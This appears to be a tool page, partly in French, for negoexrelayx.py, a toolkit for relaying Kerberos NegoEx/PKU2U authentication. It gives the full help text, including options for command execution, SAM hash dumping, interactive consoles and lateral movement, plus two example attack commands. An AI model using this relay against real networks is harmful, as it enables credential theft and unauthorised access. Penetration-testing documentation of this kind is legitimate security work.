
Relaie l'authentification Kerberos NegoEx/PKU2U vers des cibles arbitraires, permettant une authentification sans identifiants, l'exécution de commandes, le dump de hachages SMB et des sessions interactives pour le mouvement latéral.
Toolkit pour abuser de Kerberos PKU2U et NegoEx. Nécessite impacket Il est recommandé d'installer impacket directement depuis git pour disposer de la dernière version disponible.
Cet outil vous permet de relayer l'authentification NegoEx (avec PKU2U) vers un autre ordinateur et de vous authentifier sans connaître les identifiants, à l'instar de Ntlmrelayx.
NegoEx relay tool. By @rubin_mor
Main options:
-h, --help show this help message and exit
-ts Adds timestamp to every logging output
-debug Turn DEBUG output ON
-t TARGET, --target TARGET
Target to relay the credentials to, can be an IP,
hostname or URL like domain\username@host:port
(domain\username and port are optional, and don't
forget to escape the '\'). If unspecified, it will
relay back to the client')
-tf TARGETSFILE File that contains targets by hostname or full URL,
one per line
-w Watch the target file for changes and update target
list automatically (only valid with -tf)
-i, --interactive Launch an smbclient or LDAP console insteadof
executing a command after a successful relay. This
console will listen locally on a tcp port and can be
reached with for example netcat.
-ip INTERFACE_IP, --interface-ip INTERFACE_IP
IP address of interface to bind SMB and HTTP servers
--smb-port SMB_PORT Port to listen on smb server
--no-multirelay If set, disable multi-host relay (SMB and HTTP
servers)
-ra, --random Randomize target selection
-r SMBSERVER Redirect HTTP requests to a file:// path on SMBSERVER
-l LOOTDIR, --lootdir LOOTDIR
Loot directory in which gathered loot such as SAM
dumps will be stored (default: current directory).
-of OUTPUT_FILE, --output-file OUTPUT_FILE
base output filename for encrypted hashes. Suffixes
will be added for ntlm and ntlmv2
-codec CODEC Sets encoding used (codec) from the target's output
(default "utf-8"). If errors are detected, run
chcp.com at the target, map the result with https://do
cs.python.org/3/library/codecs.html#standard-encodings
and then execute ntlmrelayx.py again with -codec and
the corresponding codec
-smb2support SMB2 Support
-6, --ipv6 Listen on both IPv6 and IPv4
--serve-image SERVE_IMAGE
local path of the image that will we returned to
clients
-c COMMAND Command to execute on target system (for SMB and RPC).
If not specified for SMB, hashes will be dumped
(secretsdump.py must be in the same directory). For
RPC no output will be provided.
-clientname CLIENTNAME
A new name for the client name
SMB client options:
-e FILE File to execute on the target system. If not
specified, hashes will be dumped (secretsdump.py must
be in the same directory)
--enum-local-admins If relayed user is not admin, attempt SAMR lookup to
see who is (only works pre Win 10 Anniversary)
Pour attaquer une cible spécifique, vous pouvez démarrer le serveur avec la commande (notez que SMB2 est généralement indispensable)
negoexrelayx.py -t IP -smb2support
Pour attaquer une cible spécifique et modifier le nom du client dans PKU2U
negoexrelayx.py -t IP -clientname NEW_NAME -smb2support